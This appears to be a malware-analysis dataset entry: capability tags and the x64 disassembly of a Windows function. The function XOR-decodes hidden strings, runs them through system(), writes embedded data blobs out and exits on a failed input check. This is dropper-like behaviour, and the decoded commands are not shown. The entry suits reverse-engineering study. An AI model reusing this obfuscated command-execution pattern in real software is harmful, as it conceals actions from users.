Function at 0x140002490
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
xor ebx, ebx
movdqa xmm0, xmmword [0x140079540]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x20], 1
mov ecx, ebx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0xf
jb 0x1400024c0
mov byte [rbp - 0x20], bl
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004140
lea rcx, [0x14010c6a0]
call fcn.140010b20
cmp byte [0x14010c8b0], bl
jne 0x14000253f
mov dword [rbp - 0x30], 0xc9ef9bb0
mov dword [rbp - 0x2c], 0xb2b5cbdf
mov dword [rbp - 0x28], 0x100e3f8
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002a30
mov rcx, rax
lea rdx, [0x14010c8b8]
call fcn.140004310
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x140079448]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400795f0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x20], 0xea
mov byte [rbp - 0x1e], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x11
jb 0x140002570
mov byte [rbp - 0x1e], bl
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004140
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004330
lea rdx, [0x14010b720]
lea rcx, [rbp - 0x30]
call fcn.140003a30
mov rdx, rax
lea rcx, [0x14010c6a0]
call fcn.140012470
cmp byte [0x14010c8b0], bl
jne 0x14000260e
mov dword [rbp - 0x30], 0xc9ef9bb0
mov dword [rbp - 0x2c], 0xb2b5cbdf
mov dword [rbp - 0x28], 0x100e3f8
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002a30
mov rcx, rax
lea rdx, [0x14010c8b8]
call fcn.140004310
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp - 0x30], 0xd3c9d4d7
mov dword [rbp - 0x2c], 0xadafc9ca
mov dword [rbp - 0x28], 0xe5fe9be2
mov dword [rbp - 0x24], 0x10083e9
mov rcx, rbx
nop dword [rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0xe
jb 0x140002630
mov byte [rbp - 0x21], bl
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x30], 0xd3c9d4d7
mov dword [rbp - 0x2c], 0xadafc9ca
mov dword [rbp - 0x28], 0xe5fe9be2
mov dword [rbp - 0x24], 0x10094e9
mov rcx, rbx
nop dword [rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0xe
jb 0x140002670
mov byte [rbp - 0x21], bl
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400f5cf0]
cmp byte [reloc.WS2_32.dll_accept], bl
je 0x1400026b5
mov rcx, rbx
nop
lea eax, [rcx - 0x46]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0xd
jb 0x1400026a0
mov byte [reloc.WS2_32.dll_accept], bl
lea r9, [rbp + 0x10]
lea r8, [0x1400f5cfd]
lea rcx, [rbp - 0x30]
call fcn.140004660
nop
mov r8d, 0x15a00
lea rdx, [0x1400f5d20]
lea rcx, [rbp - 0x30]
call fcn.1400021f0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000271f
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000271a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000271a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140066fe4
lea rdx, [0x14008d4d8]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140002756
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x16
jb 0x140002740
mov byte [reloc.WS2_32.dll_accept], 0
lea r9, [rbp + 0x10]
lea r8, [0x14008d4ee]
lea rcx, [rbp - 0x30]
call fcn.140004660
nop
mov r8d, 0x68800
lea rdx, [0x14008d4f0]
lea rcx, [rbp - 0x30]
call fcn.1400021f0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400027c0
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140066fe4
lea rdx, [0x1400f5d00]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400027f6
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x18
jb 0x1400027e0
mov byte [reloc.WS2_32.dll_accept], 0
lea r9, [rbp + 0x10]
lea r8, [0x1400f5d18]
lea rcx, [rbp - 0x30]
call fcn.140004660
nop
mov r8d, 0x9418
lea rdx, [0x1400840c0]
lea rcx, [rbp - 0x30]
call fcn.1400021f0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140002860
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000285b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000285b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140066fe4
movdqa xmm0, xmmword [0x1400795e0]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x140079580]
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], 0xaea5a8f4
mov word [rbp - 0xc], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x24
jb 0x140002890
mov byte [rbp - 0xb], 0
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140079560]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xa1ada5b8
mov dword [rbp - 0x1c], 0xb4a8aae0
mov word [rbp - 0x18], 0x100
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x18
jb 0x1400028e0
mov byte [rbp - 0x17], 0
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140079570]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x20], 0xaf
mov byte [rbp - 0x1e], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x11
jb 0x140002920
mov byte [rbp - 0x1e], 0
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400795c0]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xa3beaea1
mov dword [rbp - 0x1c], 0xa2fea3ab
mov dword [rbp - 0x18], 0x100a0ab
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1a
jb 0x140002970
mov byte [rbp - 0x15], 0
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400795c0]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xa8b8b3af
mov dword [rbp - 0x1c], 0xbdb1a1bc
mov dword [rbp - 0x18], 0xb0acb6fc
mov word [rbp - 0x14], 0x100
mov rcx, rbx
nop dword [rax]
lea eax, [rcx - 0x46]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1c
jb 0x1400029c0
mov byte [rbp - 0x13], 0
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x30], 0xd3c9d4d7
mov dword [rbp - 0x2c], 0xadafc9ca
mov dword [rbp - 0x28], 0xe5fe9be2
mov dword [rbp - 0x24], 0x10083e9
nop word [rax + rax]
lea eax, [rbx - 0x46]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0xe
jb 0x140002a00
mov byte [rbp - 0x21], 0
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret